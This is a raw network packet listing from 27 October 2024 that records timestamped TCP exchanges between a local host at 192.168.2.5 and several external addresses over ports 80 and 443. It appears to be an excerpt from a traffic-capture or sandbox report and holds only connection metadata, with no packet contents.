Oct 27, 2024 17:54:39.780272007 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.780318022 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.780328989 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.780354023 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.780375004 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.780438900 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.780601025 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.781305075 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.781322956 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.781331062 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.781395912 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.781407118 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.781461000 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.781476021 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.781521082 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.781579971 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.805964947 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:39.808094978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808140993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808156013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808182001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.808191061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808222055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808245897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808250904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.808263063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808270931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.808279991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.808304071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.808335066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.816586971 CET	49916	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.816621065 CET	443	49916	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.816977024 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.817012072 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.817239046 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.817929983 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:39.817939043 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:39.819155931 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.819170952 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.819483995 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:39.819545031 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:39.822005987 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:39.822098970 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:39.822633028 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:39.822643042 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:39.823064089 CET	49912	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.823077917 CET	443	49912	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.823373079 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.823390961 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.823450089 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.823965073 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.823980093 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.825920105 CET	49917	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.825948954 CET	443	49917	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.835752010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.835818052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.835832119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.835861921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.835870981 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.835877895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.835894108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.835915089 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.835921049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.835936069 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.835969925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.836249113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.836273909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.836287975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.836299896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.836316109 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.836333990 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852080107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852097988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852116108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852138042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852147102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852164984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852169037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852197886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852207899 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852224112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852236986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852241039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852257013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852263927 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852277994 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852296114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852318048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852333069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852346897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.852358103 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852372885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.852386951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.868032932 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868113041 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868135929 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868155003 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868165970 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.868185997 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868211031 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.868240118 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868258953 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868274927 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868285894 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.868299007 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.868321896 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.880783081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.880805969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.880831957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.880837917 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.880856991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.880856991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.880873919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.880877972 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.880888939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.880897999 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.880913019 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.880944014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882261038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882277012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882291079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882309914 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882330894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882369995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882404089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882419109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882428885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882433891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882448912 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882452011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882458925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882476091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.882481098 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882494926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.882514000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.894928932 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:39.903115988 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.903173923 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.903197050 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.903215885 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.903247118 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.903256893 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.903264999 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.903278112 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.903299093 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.903320074 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.903345108 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.903397083 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.935153008 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.935705900 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.935749054 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.936167002 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.936177969 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.936278105 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.936702967 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.936769962 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.937330961 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.937344074 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.941764116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:39.947139025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:39.957129002 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.957406044 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.957418919 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.957911015 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.958298922 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.958384037 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:39.958498955 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:39.984709978 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.984724045 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.984750032 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.984761000 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.984770060 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.984772921 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.984796047 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.984817982 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.984823942 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.984833956 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.986279964 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.986792088 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.986855984 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.987329006 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.987344980 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.988492012 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.988940001 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.988974094 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.989411116 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:39.989423990 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:39.991838932 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:39.992285013 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:39.992297888 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.003336906 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:40.003660917 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.004070044 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.004089117 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.004565954 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.004570007 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.017067909 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:40.023096085 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.023113012 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.023169041 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.023174047 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.023201942 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.023228884 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.023243904 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.023966074 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.024032116 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.024043083 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.024059057 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.024105072 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.024955988 CET	49915	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.024971008 CET	443	49915	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.066291094 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.066375971 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.066512108 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.066668987 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.066669941 CET	49919	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.066704988 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.066716909 CET	443	49919	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.067692995 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.067773104 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.067897081 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.067989111 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.068018913 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.068053007 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.068083048 CET	49918	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.068100929 CET	443	49918	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.070833921 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.070857048 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.070967913 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.071041107 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.071079969 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.071151018 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.071207047 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:40.071273088 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:40.071557999 CET	49911	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:40.071573019 CET	443	49911	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:40.071855068 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.071867943 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.072248936 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.072264910 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.073596001 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.080009937 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:40.080020905 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:40.080080986 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:40.080292940 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:40.080307961 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:40.301244974 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301275015 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301311016 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301335096 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301350117 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301369905 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301383972 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301402092 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301410913 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301419020 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301434040 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.301450968 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301500082 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.301681995 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.301712990 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301733017 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301734924 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.301757097 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301765919 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301763058 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.301776886 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301789045 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301795959 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301814079 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301814079 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.301829100 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301843882 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301865101 CET	443	49914	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.301908970 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.301924944 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.301934004 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301934004 CET	49914	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.301945925 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.301978111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.301995993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302011013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302016020 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.302016973 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.302026987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302041054 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302043915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302057028 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.302057028 CET	49923	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.302069902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302073956 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.302078962 CET	443	49923	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.302079916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302088022 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.302092075 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302098989 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302114010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302114964 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302129984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302140951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302145958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302164078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302189112 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302198887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302213907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302227974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302242994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302258015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302268982 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302275896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302298069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302299023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302314043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302316904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302341938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302356958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302450895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.302501917 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.302531004 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.302548885 CET	49920	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.302550077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.302556992 CET	443	49920	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.302566051 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:40.302594900 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:40.302639008 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:40.302661896 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:40.302679062 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:40.302973986 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:40.303411007 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.303419113 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.303432941 CET	49922	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.303436995 CET	443	49922	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.308882952 CET	49921	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:40.308897972 CET	443	49921	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:40.309519053 CET	49930	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.309545040 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.309792995 CET	49930	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.310903072 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:40.310933113 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:40.311038971 CET	49932	443	192.168.2.5	13.107.246.45
